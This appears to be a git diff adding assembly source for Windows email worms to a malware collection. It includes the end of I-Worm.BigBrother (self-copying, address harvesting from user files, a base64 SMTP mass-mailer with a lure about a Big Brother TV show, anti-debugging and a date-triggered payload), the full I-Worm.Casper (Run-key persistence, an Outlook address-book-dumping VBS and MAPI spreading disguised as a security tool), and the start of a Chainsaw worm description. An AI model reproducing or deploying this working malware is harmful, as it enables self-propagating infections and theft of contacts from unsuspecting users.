db 'HELO bigbrother.r0x.pl',0dh,0ah+++mime_code db 'From: "BIGBROTHER TVN POLSKA" <[email protected]>',0dh,0ah+ db 'Subject: BIGBROTHER SHOW !',0dh,0ah+ db 'MIME-Version: 1.0',0dh,0ah+ db 'Content-Type: multipart/mixed; boundary="a1234"',0dh,0ah+ db 0dh,0ah,'--a1234',0dh,0ah+ db 'Content-Type: text/plain; charset=us-ascii',0dh,0ah+ db 'Content-Transfer-Encoding: 7bit',0dh,0ah,0dh,0ah+ db 0dh,0ah+ db 'Teraz mozesz ogladac BIGBROTHER SHOW za pomoca komputera! Jak to',0dh,0ah+ db 'zrobic? Wystarczy ze uruchomisz specjalny program',0dh,0ah+ db '(BIGBROTHER_LIVE_CAMERA.EXE) , ktory zostal dolaczony do wiadomosci.',0dh,0ah+ db 'Ponadto za pomoca tego narzedzia mozesz nominowac wybrane przez ciebie',0dh,0ah+ db 'osoby, do opuszczenia domu Wielkiego Brata. Co miesiac rozlosowane beda',0dh,0ah+ db 'nagrody (telewizory, wieze stereo,',0dh,0ah+ db 'komputery ...i wiele ,wiele innych). Prosimy przysylac',0dh,0ah+ db 'opinie i komentarze na temat programu.',0dh,0ah+ db 0dh,0ah+ db 0dh,0ah+ db 'Zyczymy milej zabawy:',0dh,0ah+ db 0dh,0ah+ db 'Redakcja programu.',0dh,0ah+ db '',0dh,0ah+ db 0dh,0ah+ db 0dh,0ah,'--a1234',0dh,0ah+ db 'Content-Type: application/octet-stream; name="BigBrother_Live_Camera.exe"'+ db 0dh,0ah,'Content-Transfer-Encoding: base64',0dh,0ah+ db 'Content-Disposition: attachment; filename="BigBrother_Live_Camera.exe"',0dh,0ah,0dh,0ah++mime_end db 0dh,0ah,'--a1234--',0dh,0ah,0dh,0ah,0+mime_e equ mime_end++dot db '.',0dh,0ah++RCPT_1 db 'RCPT TO:<',0+RCPT_ENDD db '>',0dh,0ah,0++RCPT db 160 dup (?)+++MAIL_FROM db 'MAIL FROM:<[email protected]>',0dh,0ah++QUIT db 'QUIT',0dh,0ah+_DATA_ db 'DATA',0dh,0ah++e_end db '',0++++;==================================[END MAIL DATA]====================================++;==================================[WIN SOCKZ]========================================++addr struc+proto dw 2+port dw 1900h+ip db 127,0,0,1+addr ends++addr2 addr <>+++sock dd ?+SOCK_STREAM EQU 1+AF_INET EQU 2+WSA_Data DB 400 DUP(0)+SOCKET_ERR equ -1+HOSTENT_IP equ 10h++rB dd ?+;==================[END WIN SOCKZ]=========================================++;============[END E-MAIL DATA]=============================================++;FOR STEALTH+err_title db 'Setup',0+markerror db 'Segmentation fault.',0dh,0ah,0dh,0ah+ db 'Please REPORT this BUG.',0+ db 0dh,0ah,0+++;PAYLOAD++;+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*+;===========[PAYL0AD ;))]==================================================+dcH dd ?+brH dd ?+fontH dd ? ;~^~^~^~^~^~^~^^~^~^~^~^+info_line_1 db "You like to think you�re never wrong",0 ;some lyrics from:+info_line_2 db "You want to act like you�re someone",0 ;'POINTS OF AUTHORITY' - song+info_line_3 db "You want someone to hurt like you",0 ;of my best music group -+info_line_4 db "You want to share what you�ve been through",0 ;[L]inkin [P]ark ;))+info_line_5 db "You live what you learn...",0 ;~^~^~^~^~^~^~^~^~^~^~^~^++info_line_6 db "Today you know the truth: i-worm.BigBrother",0 ;some txt from myself+info_line_7 db 'Now contact with yourz AV expert.',0+info_line_8 db "Future , Don't trust anyone ... [YuP/0ne Earth]",0++sysTimeStruct db 16 dup(0)++payday db 128 dup(0)+payyes db 'payyes',0++;===========[END PAY DATA]=================================================+;-------------------------------------------------------------------------*+;+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*+;-------------------------------------------------------------------------*+;===========[CODE SECTION]=================================================++.CODE+Kakaroth:+push 256+push offset module_filename+push 0+call GetModuleFileNameA++xor ebp,ebp+mov ebp,offset module_filename++push offset dir+push 256+call GetCurrentDirectoryA++push offset bslash+push offset dir+call lstrcatA++push offset dir+call lstrlen+mov edi,eax++sub ecx,edi++C_NEXT:+push ebp+call CharNextA+mov ebp,eax++dec edi+jnz C_NEXT++push ecx+push ebp+push offset myname+call lstrcpyn++@DEBUG_CODE:+lea eax,dword ptr [esp-8h]+xor esi,esi+xchg eax,dword ptr fs:[esi]+lea edi,exception+push edi+++push eax++call @antidebug++@antidebug:+add esp,4+cmp esi,dword ptr fs:[esi+20h]+je @SKIP_DEBUG+jmp @HEART_STOPS++@SKIP_DEBUG:+push 0+push 0+push 0+push 0+push 0+call PeekMessageA++@COPY_FILE:+push 256+push offset sysD+call GetSystemDirectoryA++xor eax,eax++push offset new+push offset sysD+call lstrcatA+cmp eax,0+jc @EXIT++push 0+push offset sysD+push offset myname+call CopyFileA+cmp eax,0+jc @EXIT++push 01h OR 02h+push offset sysD+call SetFileAttributesA++push offset myname+push offset sys_name+call lstrcmpi+cmp eax,0+jne @RUN_SYS_FILE++@_CHECK_4_PAYLOAD:+push offset sysTimeStruct+call GetSystemTime+xor eax,eax+lea eax,sysTimeStruct+cmp word ptr [eax+2],5 ; 13th May+jne @SKIP_PAY+cmp word ptr [eax+6],13+jne @SKIP_PAY+++@PAY: ;payload+push 50000 ;sp00ky one ;))+call Sleep ;wait some time++push 0h+call GetDC+mov dword ptr [dcH],eax++push 0+push 1000h+push 1+call CreatePen+mov dword ptr [brH],eax++push dword ptr [brH]+push dword ptr [dcH]+call SelectObject++push 500+push 300+push dword ptr [dcH]+call LineTo++;=======[FONT]=================================================+push 0h+push 0h+push 0h+push 0h+push 0h+push 0h+push 0h+push 0h+push 0h+push 0+push 0+push 13+push 23+call CreateFontA+mov dword ptr [fontH],eax+++push dword ptr [fontH]+push dword ptr [dcH]+call SelectObject++++push 0+push dword ptr [dcH]+call SetBkColor+++push 16777215 ;color - white+push dword ptr [dcH]+call SetTextColor+++;======[END FONT]===========================================+++@TEXT:+push 16777215+push dword ptr [dcH]+call SetTextColor++mov esi,160+mov edx,offset info_line_1+mov ecx,140+call @TEXT_OUT++mov edx,offset info_line_2+mov ecx,170+call @TEXT_OUT++mov edx,offset info_line_3+mov ecx,200+call @TEXT_OUT++mov edx,offset info_line_4+mov ecx,230+call @TEXT_OUT++mov edx,offset info_line_5+mov ecx,260+call @TEXT_OUT++mov esi,160+mov edx,offset info_line_6+mov ecx,350+call @TEXT_OUT++mov esi,160+mov edx,offset info_line_7+mov ecx,380+call @TEXT_OUT++mov esi,160+mov edx,offset info_line_8+mov ecx,435+call @TEXT_OUT++push offset payyes+push offset payday+call lstrcatA++call @SKIP_PAY+++@TEXT_OUT: ;text-out function+push edx+call lstrlenA++push eax+push edx+push ecx+push esi+push dword ptr [dcH]+call TextOutA++ret+++@SKIP_PAY:+@RESIDENT:+push offset mutex_name ;am i in memory now ?+push 0+push 1+call OpenMutexA+cmp eax,0+jne @I_WAS_HERE+je @NEXT_++@I_WAS_HERE:+push 010h+push offset err_title+push offset markerror+push 0h+call MessageBoxA+push 0h+call ExitProcess++@NEXT_:+push offset mutex_name ;nop then go there+push 1+push 0+call CreateMutexA+mov dword ptr [mutexH],eax++xor edx,edx+xor eax,eax++push offset krnl+call LoadLibraryA+cmp eax,0+jc @EXIT+push offset krnl_proc+push eax+call GetProcAddress+or eax,eax+jz @PR+mov edx,eax++call GetCurrentProcessId++;push 1+;push eax+;call edx++@PR:+push offset sysD+push offset ini_key+push offset ini_sect+call WriteProfileStringA+++call @GET_MAILZ_START++@GET_MAILZ_START:+xor eax,eax+push offset hKeyHandle+push 0+push 0+push offset hKeyPath+push HKEY_LOCAL_MACHINE+call RegOpenKeyExA+cmp eax,0+jne @EXIT++push offset PersonalFsize+push offset PersonalF+push 0+push 0+push offset hPersonal+push hKeyHandle+call RegQueryValueExA++push offset server_h+push 0+push 0+push offset server_p+push HKEY_CURRENT_USER+call RegOpenKeyExA+cmp eax,0+jne @EXIT++push offset server_size+push offset server+push 0+push 0+push offset server_s+push server_h+call RegQueryValueExA++;PersonalF -> like My Docz++push hKeyHandle+call RegCloseKey+++++push offset base_file_name+push 260+call GetTempPathA++push offset base_file+push offset base_file_name+call lstrcatA+++;=======================[BASE ENCODER]==========================+;Thx goez to: * T-2000 / Immortal Riot (4 base encoder sample) ++; * dageshi (4 everything) ++;===============================================================+@_BASE_ENCODER:+++push offset base_to_code_buff ;copy source file+push 260+call GetTempPathA++push offset base_to_code+push offset base_to_code_buff+call lstrcatA++push 1+push offset base_to_code_buff+push offset sysD+call CopyFileA+++;ble ble ble+++XOR EBX, EBX++PUSH EBX+PUSH FILE_ATTRIBUTE_NORMAL+PUSH OPEN_EXISTING+PUSH EBX+PUSH EBX+PUSH GENERIC_READ+PUSH OFFSET base_to_code_buff+CALL CreateFileA++MOV [Input_Handle], EAX++PUSH EBX+PUSH FILE_ATTRIBUTE_NORMAL+PUSH CREATE_ALWAYS+PUSH EBX+PUSH EBX+PUSH GENERIC_WRITE+push OFFSET base_file_name+CALL CreateFileA++MOV [Output_Handle], EAX++PUSH 0 ;wpiszem standard+PUSH OFFSET IO_Bytes_Count+PUSH (offset mime_end-offset mime_code)+push offset mime_code+PUSH [Output_Handle]+CALL WriteFile+cmp eax,0+je @ERROR++PUSH EBX ;size+PUSH [Input_Handle]+CALL GetFileSize++CDQ+MOV ECX, (76/4)*3+DIV ECX++DEC EDX+JS No_Round++INC EAX++No_Round:+XCHG ECX, EAX++Encode_Line:+PUSH ECX++MOV ESI, OFFSET Input_Buffer++PUSH 0+PUSH OFFSET IO_Bytes_Count+PUSH (76/4)*3+PUSH ESI+PUSH [Input_Handle]+CALL ReadFile++MOV EDI, OFFSET Output_Buffer++PUSH EDI++PUSH 76/4+POP ECX++Encode_Packet:+PUSH ECX++MOV CL, 8++LODSB+SHL EAX, CL++LODSB+SHL EAX, CL++LODSB+SHL EAX, CL++MOV EBX, OFFSET Encoding_Table++MOV CL, 4++Encode_Byte:+SHR EAX, 2++ROL EAX, 8++XLAT+STOSB++LOOP Encode_Byte++POP ECX++LOOP Encode_Packet++MOV WORD PTR [EDI], 0A0Dh ; <CRLF>.++POP EAX++PUSH 0+PUSH OFFSET IO_Bytes_Count+PUSH 78+PUSH EAX+PUSH [Output_Handle]+CALL WriteFile++POP ECX++LOOP Encode_Line++push [Output_Handle]+call CloseHandle+++;=====================================================[END BASE ENCODER]===========++;=====================================================[GET BASE CODE TO BUFF]======++@GET_BASE_CODE:+push 00000000h+push 00000080h+push 00000003h+push 00000000h+push 00000001h+push 80000000h+push offset base_file_name+call CreateFileA+mov edi,eax+++push 0+push edi+call GetFileSize+++push 0+push offset baL+push eax+push offset base_buffer+push edi+call ReadFile++;=====================================================[END GETTING]===============+@NEXT__:+push offset shitshit+push offset my_key+push HKEY_LOCAL_MACHINE+call RegOpenKeyA+cmp eax,0+je @EXIT++push offset shit+push offset my_key+push HKEY_LOCAL_MACHINE+call RegCreateKeyA++mov bh,0+mov bl,0+CALL @SCAN_MYDOCZ++@SCAN_TEMP:+push offset tempD+push 260+call GetTempPathA++push offset clear+push offset bus+call lstrcpyA++push offset tempD+push offset bus+call lstrcpyA++push offset fMASK1 ;add+push offset bus+call lstrcatA+++call @FIND_1st+call @GO_GO1++@SCAN_MYDOCZ:+xor edi,edi++push offset clear+push offset bus+call lstrcpyA++push offset PersonalF+push offset bus+call lstrcpyA++push offset fMASK ;add+push offset bus+call lstrcatA++call @FIND_1st+call @GO_GO++@FIND_1st:++push offset find_data+push offset bus+call FindFirstFileA+mov dword ptr [searchH],eax+cmp eax,-1+je @ERROR++ret++@CLEAR_PATH:+push offset clear+push offset sciezka+call lstrcpyA+ret++@GO_GO:+call @CLEAR_PATH+xor edi,edi+push offset PersonalF+push offset sciezka+call lstrcatA+push offset break+push offset sciezka+call lstrcatA+push offset find_data.cFileName+push offset sciezka+call lstrcatA+xor edi,edi+mov edi,offset sciezka+call @SCAN_HTM_FILE_STEP1++@GO_GO1:+call @CLEAR_PATH+xor edi,edi+push offset tempD+push offset sciezka+call lstrcatA+push offset break+push offset sciezka+call lstrcatA+push offset find_data.cFileName+push offset sciezka+call lstrcatA+xor edi,edi+mov edi,offset sciezka+call @SCAN_HTM_FILE_STEP1++++@SCAN_HTM_FILE_STEP1:++push 00000000h+push 00000080h+push 00000003h+push 00000000h+push 00000001h+push 80000000h+push edi+call CreateFileA+cmp eax,-1+je @ERROR_M++mov dword ptr [fH],eax+++push 0h+push offset longBuff+push worm_size ;size+push offset worm_code+push dword ptr [fH]+call ReadFile+cmp eax,0+je @ERROR_M++call @CLEAR++@MARK:+xor esi,esi+mov esi,0+xor ebp,ebp+mov ebp,offset worm_code+xor edi,edi+mov edi,1++@ALGORITM:+xor edi,edi+mov edi,1+call LOOPING_JOE++push offset L1+push offset myB+call lstrcmp+cmp eax,0+je @CH++inc esi+cmp esi,10000+ja @END_OF_FILE+call @ALGORITM++@CH:+call @CLEAR+call @CHECK_STRING++LOOPING_JOE:+push ebp+call CharNextA+mov ebp,eax++push 2+push ebp+push offset myB+call lstrcpyn++ret+++@CHECK_STRING:+call LOOPING_JOE++push offset myB+push offset mail_string+call lstrcatA++inc esi+inc edi+cmp edi,8+jne @CHECK_STRING+je @IS_IT_GOD++@IS_IT_GOD:+push offset mail+push offset mail_string+call lstrcmp+cmp eax,0+je @GET_MAIL+jne @ALGORITM+++@GET_MAIL:+call LOOPING_JOE++push offset L1+push offset myB+call lstrcmp+cmp eax,0+je @END_MAIL++push offset myB+push offset mail_good+call lstrcatA++inc esi+cmp esi,1000+jne @GET_MAIL++@END_MAIL: ;TU GEN MAIL++inc bl+cmp bl,10+ja @ERROR++call @SEND_MAIL++@NEXT_MAILL:+xor edi,edi+mov edi,1++call @ALGORITM++@END_OF_FILE:+push dword ptr [fH]+call CloseHandle++xor eax,eax+xor ebp,ebp+call @CLEAR+call @CLEAR_BUFF+call @FIND_NEXT_FILE++@CLEAR:+push offset sep+push offset mail_good+call lstrcpy+push offset sep+push offset mail_string+call lstrcpy+ret++@CLEAR_BUFF:+push offset sep+push offset worm_code+call lstrcpy+ret++exception:+xor esi,esi+mov eax,dword ptr fs:[esi]+mov esp,dword ptr [eax]++@FIND_NEXT_FILE:++push offset find_data+push dword ptr [searchH]+call FindNextFileA+cmp eax,0+je @ERROR_NO_FILEZ_LEFT++cmp bh,1+ja @GO_TO_GO1+call @GO_GO++@GO_TO_GO1:+call @GO_GO1++@ERROR:++push dword ptr [fHnd]+call CloseHandle++call @EXIT++@ERROR_M:+push dword ptr [searchH]+call FindClose+call @EXIT+++@ERROR_NO_FILEZ_LEFT:+cmp bh,2+je @ERROR_M+ja @ERROR_M+add bh,2+push dword ptr [searchH]+call FindClose+call @SCAN_TEMP+++@SEND_MAIL:+push offset RCPT_1+push offset RCPT+call lstrcatA++push offset mail_good+push offset RCPT+call lstrcatA++push offset RCPT_ENDD+push offset RCPT+call lstrcatA++;======[CHECK INTERNET STATE]=======+;WININET.DLL REQUIRED :> ++;===================================+@CHECK_CONN:+push 500 ;little stealth+call Sleep++push offset wininet_lib+call LoadLibraryA++push offset check_connection+push eax+call GetProcAddress+xchg eax,ecx+jecxz @INIT_W++;push 0+;push offset lpdwFlagz+;call ecx+;or eax,eax+;jz @CHECK_CONN+++;======[INIT WINSOCK]================+@INIT_W:+push offset WSA_Data+PUSH 0101h+CALL WSAStartup+cmp eax,0+jne @EXIT++push 0+push SOCK_STREAM+push AF_INET+call socket+cmp eax,SOCKET_ERR+je @CLEAN+mov sock,eax++;======[CONNECT]=====================++;push offset server+;call gethostbyname+;cmp eax,0+;je @CLEAN+++;mov eax,dword ptr [eax+HOSTENT_IP]+;mov eax,dword ptr [eax]+;mov dword ptr [addr2.ip],eax+++push 16+push offset addr2+push sock+call connect+cmp ax,SOCKET_ERR+je @CLEAN++;======[READ AND SEND LOOP]==========++push 20+call Sleep+push 0+push 512+push offset rB+push sock+call recv++push 0+push 24+push offset HELO+push sock+call send++push 20+call Sleep+push 0+push 512+push offset rB+push sock+call recv++push 0+push 31+push offset MAIL_FROM+push sock+call send++push 20+call Sleep+push 0+push 512+push offset rB+push sock+call recv++push offset RCPT+call lstrlen++push 0+push eax+push offset RCPT+push sock+call send++push 20+call Sleep+push 0+push 512+push offset rB+push sock+call recv++push 0+push 6+push offset _DATA_+push sock+call send++push 20+call Sleep+push 0+push 512+push offset rB+push sock+call recv++push offset base_buffer+call lstrlen++push 0+push eax+push offset base_buffer+push sock+call send+++push 0+push 3+push offset dot+push sock+call send++push 20+call Sleep+push 0+push 512+push offset rB+push sock+call recv++push 0+push 6+push offset QUIT+push sock+call send++push sock+call closesocket++call WSACleanup++push offset sep+push offset RCPT+call lstrcpy++push 5000+call Sleep++call @NEXT_MAILL++@EX:++push sock+call closesocket+push 0h+call ExitProcess++@CLEAN:+call WSACleanup+push 0h+call @EXIT++++@EXIT:+push offset payday+push offset payyes+call lstrcmp+cmp eax,0+je @HANG_ALL_CONNECTIoNZ+jne _STAY_IN_MEM+++_STAY_IN_MEM:+push 50000+call Sleep+call _STAY_IN_MEM++@BUFFER_OVERFLOW:+call GetActiveWindow ;zabijamy aktywne okno przypuszczalnie debugger+mov edx,eax ;nieskonczona petla powoduje blad w kernelu+push 0 ;plik robaka bedzie dostepny po resecie systemu ;))+push 0+push 12h+push edx+call PostMessageA+CALL @BUFFER_OVERFLOW++@HEART_STOPS:+push 1+push offset markerr+call WinExec++push 100+call Sleep++call @BUFFER_OVERFLOW++@RUN_SYS_FILE:+push 256+push offset sysDD+call GetSystemDirectoryA++push offset sysDD+call SetCurrentDirectoryA++push 500+call Sleep++push 1+push offset sysD+call WinExec++push dword ptr [mutexH]+call ReleaseMutex++push 0h+call ExitProcess+++@HANG_ALL_CONNECTIoNZ:++push 500 ;timer+call Sleep++push offset wininet_lib+call LoadLibraryA++push offset hang_connection+push eax+call GetProcAddress+xchg eax,ecx++push 0h ;kiss me goodbye ;)+push offset lpdwFlagz ;I don`t know that this WININET+call ecx ;function is working ;) Refer+call @HANG_ALL_CONNECTIoNZ ;to Jacob Navia it should be.+ ;[*Nice 'WININET' Ref ;) Big Thx :*]+End Kakaroth+;================================================================================================+; +1679 linez of asm c0de ;)) ? I did it ? he he ...+;+;================================================================================================+;***** This is the end of your jurney... Sorry about commentz...i know - my english skillz. *****+;================================================================================================+; eEEEEEe nNn Nn dDDDd #++; EE NNnN nN Dd dD #++; EEEe nN nN nN dD dD #++; EE NN nN nN Dd dD #++; eEEEEEe nN nNNn dDDDd #++; #++; -= .: CoDinG is No7 a CrIm3 :. =- #++;================================================================================================\ No newline at end of filediff --git a/Worms/InternetWorm/I-Worm.Casper.asm b/Worms/InternetWorm/I-Worm.Casper.asmnew file mode 100644index 0000000..e110717--- /dev/null+++ b/Worms/InternetWorm/I-Worm.Casper.asm@@ -0,0 +1,510 @@+;--- dllz.def+IMPORTS++ WININET.InternetGetConnectedState+ SHLWAPI.SHSetValueA+;---+++comment #+Name : I-Worm.Casper+Author : PetiK+Date : August 17th - August 24th+Size : 6144 byte (compressed with UPX tool)++Action : Copy itself to+ * WINDOWS\MsWinsock32.exe+ Add in the key HKLM\Software\Microsoft\Windows\CurrentVersion\Run the value+ * Winsock32 1.0 = WINDOWS\MsWinsock32.exe+++To build the worm:+tasm32 /ml /m9 Casper+tlink32 -Tpe -c -x -aa Casper,,,import32,dllz+upx -9 Casper.exe++To delete the worm:+del %windir%\MsWinsock32.exe+del %windir%\CasperEMail.txt++dllz.def file:+IMPORTS++ WININET.InternetGetConnectedState+ SHLWAPI.SHSetValueA+++#++.586p+.model flat+.code++JUMPS++callx macro a+extrn a:proc+call a+endm++include useful.inc++DEBUT:+Main_Worm:++ call Hide_Worm+ call Copy_Worm+ call Check_Wsock+ call Prepare_Spread_Worm++ Connected_:+ push 00h+ push offset Tmp+ callx InternetGetConnectedState+ dec eax+ jnz Connected_++ mov edi,offset casper_mail+ push edi+ push 50+ push edi+ callx GetWindowsDirectoryA+ add edi,eax+ mov eax,"saC\"+ stosd+ mov eax,"Erep"+ stosd+ mov eax,"liaM"+ stosd+ mov eax,"txt."+ stosd+ xor eax,eax+ stosd++ call Spread_Worm++Hide_Worm proc+ pushad+ @pushsz "Kernel32.dll"+ callx GetModuleHandleA+ xchg eax,ecx+ jecxz End_Hide+ @pushsz "RegisterServiceProcess"+ push ecx+ callx GetProcAddress+ xchg eax,ecx+ jecxz End_Hide+ push 1+ push 0+ call ecx+ End_Hide:+ popad+ ret+Hide_Worm endp++Check_Wsock proc+ Search_Wsock:+ push 50+ mov edi,offset wsock_file+ push edi+ callx GetSystemDirectoryA+ add edi,eax+ mov eax,"osW\"+ stosd+ mov eax,"23kc"+ stosd+ mov eax,"lld."+ stosd+ xor eax,eax+ stosd++ push offset wsock_file+ callx GetFileAttributesA+ cmp eax,20h+ jne End_Wsock++ xor eax,eax+ push eax+ push eax+ push 03h+ push eax+ push eax+ push 80000000h or 40000000h+ push offset wsock_file+ callx CreateFileA+ mov wsckhdl,eax++ File_Mapping:+ xor eax,eax+ push eax+ push eax+ push eax+ push 04h+ push eax+ push wsckhdl+ callx CreateFileMappingA+ test eax,eax+ jz Close_File+ mov wsckmap,eax++ xor eax,eax+ push eax+ push eax+ push eax+ push 06h+ push wsckmap+ callx MapViewOfFile+ test eax,eax+ jz Close_Map_File+ mov esi,eax+ mov wsckview,eax++ Old_Infect:+ mov verif,0+ cmp word ptr [esi],"ZM"+ jne UnmapView_File+ cmp byte ptr [esi+12h],"z"+ je Infected_By_Happy+ cmp word ptr [esi+38h],"ll"+ je Infected_By_Icecubes+ jmp UnmapView_File++ Infected_By_Happy:+ push 10h+ push offset warning+ @pushsz "I-Worm.Happy coded by Spanska"+ push 00h+ callx MessageBoxA+ inc verif+ jmp UnmapViewOfFile+ Infected_By_Icecubes:+ push 10h+ push offset warning+ @pushsz "I-Worm.Icecubes coded by f0re"+ push 00h+ callx MessageBoxA+ inc verif+ jmp UnmapViewOfFile+ Already_Infected:+ inc verif+ jmp UnmapViewOfFile++ UnmapView_File:+ push wsckview+ callx UnmapViewOfFile+ Close_Map_File:+ push offset wsckmap+ callx CloseHandle+ Close_File:+ push wsckhdl+ callx CloseHandle+ End_Wsock:+ ret+Check_Wsock endp++Copy_Worm proc+ pushad+ Original_Name:+ push 50+ mov esi,offset original+ push esi+ push 0+ callx GetModuleFileNameA++ Copy_Name:+ mov edi,offset copy_name+ push edi+ push 50+ push edi+ callx GetWindowsDirectoryA+ add edi,eax+ mov eax,'WsM\'+ stosd+ mov eax,'osni'+ stosd+ mov eax,'23kc'+ stosd+ mov eax,'exe.'+ stosd+ pop edi+ push 0+ push edi+ push esi+ callx CopyFileA++ Reg_Registered:+ push 08h+ push edi+ push 01h+ @pushsz "Winsock32"+ @pushsz "Software\Microsoft\Windows\CurrentVersion\Run"+ push 80000002h+ callx SHSetValueA+ push 08h+ @pushsz "PetiK - France - (c)2001"+ push 01h+ @pushsz "Author"+ @pushsz "Software\CasperWorm"+ push 80000001h+ callx SHSetValueA+ push 08h+ @pushsz "1.00"+ push 01h+ @pushsz "Version"+ @pushsz "Software\CasperWorm"+ push 80000001h+ callx SHSetValueA+ popad+ ret+Copy_Worm endp+++Prepare_Spread_Worm proc+ pushad+ push 00h+ push 80h+ push 02h+ push 00h+ push 01h+ push 40000000h+ @pushsz "C:\CasperMail.vbs"+ callx CreateFileA+ xchg edi,eax+ push 00h+ push offset octets+ push VBSSIZE+ push offset vbsd+ push edi+ callx WriteFile+ push edi+ callx CloseHandle+ push 1+ @pushsz "wscript C:\CasperMail.vbs"+ callx WinExec+ push 3 * 1000+ callx Sleep+ @pushsz "C:\CasperMail.vbs"+ callx DeleteFileA+ popad+ ret+Prepare_Spread_Worm endp++ Spread_Worm:+ pushad+ push 00h+ push 80h+ push 03h+ push 00h+ push 01h+ push 80000000h+ push offset casper_mail+ callx CreateFileA+ inc eax+ test eax,eax+ je End_Spread_worm+ dec eax+ xchg eax,ebx++ xor eax,eax+ push eax+ push eax+ push eax+ push 02h+ push eax+ push ebx+ callx CreateFileMappingA+ test eax,eax+ je F1+ xchg eax,ebp++ xor eax,eax+ push eax+ push eax+ push eax+ push 04h+ push ebp+ callx MapViewOfFile+ test eax,eax+ je F2+ xchg eax,esi++ push 00h+ push ebx+ callx GetFileSize+ cmp eax,03h+ jbe F3++ call Scan_Mail++ F3: push esi+ callx UnmapViewOfFile+ F2: push ebp+ callx CloseHandle+ F1: push ebx+ callx CloseHandle+ End_Spread_worm:+ popad+ ret++ Scan_Mail:+ pushad+ xor edx,edx+ mov edi,offset m_addr+ push edi+ p_c: lodsb+ cmp al," "+ je car_s+ cmp al,0dh+ je entr1+ cmp al,0ah+ je entr2+ cmp al,"#"+ je f_mail+ cmp al,"@"+ je not_a+ inc edx+ not_a: stosb+ jmp p_c+ car_s: inc esi+ jmp p_c+ entr1: xor al,al+ stosb+ pop edi+ test edx,edx+ je Scan_Mail+ call Send_Mail+ jmp Scan_Mail+ entr2: xor al,al+ stosb+ pop edi+ jmp Scan_Mail+ f_mail:+ FIN: push 00h+ callx ExitProcess++ Send_Mail:+ xor eax,eax+ push eax+ push eax+ push eax+ push offset Message+ push [MAPIHdl]+ callx MAPISendMail+ ret+++.data+; ===== Main_Worm =====+wsock_file db 50 dup (0)++; ===== Check_Wsock =====+wsckhdl dd 0+wsckmap dd 0+wsckview dd 0+PEHeader dd 0+warning db "Warning : You're infected by",00h+verif dd ?++; ===== Copy_Worm =====+original db 50 dup (0)+copy_name db 50 dup (0)++; ===== Prepare_Spread_Worm =====+octets dd ?++; ===== Spread_Worm =====+m_addr db 128 dup (?)+casper_mail db 50 dup (0)+mail_name db "Casper_Tool.exe",00h+MAPIHdl dd 0+Tmp dd 0++subject db "Casper Tool Protect 1.00",00h+body db "Hi,",0dh,0ah+ db "Look at this attachment...",0dh,0ah+ db "This freeware alert you if you infected by "+ db "I-Worm.Happy and I-Worm.Icecubes.",0dh,0ah+ db "These worms spread with the file WSOCK32.DLL in the SYSTEM path.",0dh,0ah+ db "The tool Casper v.1.00 scans this specific file and displays a message "+ db "if it infected.",0dh,0ah,0dh,0ah,0dh,0ah+ db 09h,09h,09h,"Good Bye and have a nice day",00h++Message dd ?+ dd offset subject+ dd offset body+ dd ?+ dd ?+ dd ?+ dd 2+ dd offset MsgFrom+ dd 1+ dd offset MsgTo+ dd 1+ dd offset Attach++MsgFrom dd ?+ dd ?+ dd ?+ dd ?+ dd ?+ dd ?++MsgTo dd ?+ dd 1+ dd offset m_addr+ dd offset m_addr+ dd ?+ dd ?++Attach dd ?+ dd ?+ dd ?+ dd offset original+ dd offset mail_name+ dd ?++vbsd:+db 'On Error Resume Next',0dh,0ah+db 'Set Casper = CreateObject("Outlook.Application")',0dh,0ah+db 'Set L = Casper.GetNameSpace("MAPI")',0dh,0ah+db 'Set fs=CreateObject("Scripting.FileSystemObject")',0dh,0ah+db 'Set c=fs.CreateTextFile(fs.GetSpecialFolder(0)&"\CasperEMail.txt")',0dh,0ah+db 'c.Close',0dh,0ah+db 'For Each M In L.AddressLists',0dh,0ah+db 'If M.AddressEntries.Count <> 0 Then',0dh,0ah+db 'For O = 1 To M.AddressEntries.Count',0dh,0ah+db 'Set P = M.AddressEntries(O)',0dh,0ah+db 'Set c=fs.OpenTextFile(fs.GetSpecialFolder(0)&"\CasperEMail.txt",8,true)',0dh,0ah+db 'c.WriteLine P.Address',0dh,0ah+db 'c.Close',0dh,0ah+db 'Next',0dh,0ah+db 'End If',0dh,0ah+db 'Next',0dh,0ah+db 'Set c=fs.OpenTextFile(fs.GetSpecialFolder(0)&"\CasperEMail.txt",8,true)',0dh,0ah+db 'c.WriteLine "#"',0dh,0ah+db 'c.Close',0dh,0ah+VBSSIZE = $-vbsd++MAX_PATH equ 260+FILETIME struct+dwLowDateTime dd ?+dwHighDateTime dd ?+FILETIME ends+WIN32_FIND_DATA struct+dwFileAttributes dd ?+ftCreationTime FILETIME ?+ftLastAccessTime FILETIME ?+ftLastWriteTime FILETIME ?+nFileSizeHigh dd ?+nFileSizeLow dd ?+dwReserved0 dd ?+dwReserved1 dd ?+cFileName dd MAX_PATH (?)+cAlternateFileName db 13 dup (?)+ db 3 dup (?)+WIN32_FIND_DATA ends++Search WIN32_FIND_DATA <>++end DEBUT+end\ No newline at end of filediff --git a/Worms/InternetWorm/I-Worm.Chainsaw.asm b/Worms/InternetWorm/I-Worm.Chainsaw.asmnew file mode 100644index 0000000..b309b25--- /dev/null+++ b/Worms/InternetWorm/I-Worm.Chainsaw.asm@@ -0,0 +1,1598 @@++�������������������������������������������������������������[CHAINSAW.ASM]���+; AVP description.+; ---------------------------------------------------------------------------+; Worm.Chainsaw+;+; This is a network worm with Internet spreading ability. When the worm+; is run on a system for the first time, it installs itself. To do that it+; copies itself to the Windows system directory using the filename+; WINMINE.EXE and also to the root directory of the current drive using the+; filename CHAINSAW.EXE. The latter file then gets "hidden" attribute set.+; The worm then registers itself in the system registry, auto-run key:+;+; HKCU\Software\Microsoft\Windows\CurrentVersion\Run+; Mines = path\WINMINE.EXE+;+; where "path" is the Windows system directory name. The worm then exits and+; triggers its infection routines when run during the next Windows startup.+;+; During the next Windows startup the worm is automatically executed by+; Windows by an auto-run key in the system registry. The worm then registers+; itself as hidden application and runs its spreading routine. That routine+; enumerates shared drives on the local networks [* It doesn't even get near+; local shares. *], gets the Windows directory on a drive (if there is one),+; copies itself to there using the filename CHAINSAW.EXE (if the drive is+; mapped for full access) and registers itself in there by writing the "Run="+; instruction to the [windows] section of the WIN.INI file on the remote+; drive. During the next Windows restart the worm copy will be activated and+; will complete the infection.+;+; When the worm is started it sends a notifying message to the+; "alt.horror" conference. The message has the fields:+;+; From: "Leatherface" <[email protected]>+; 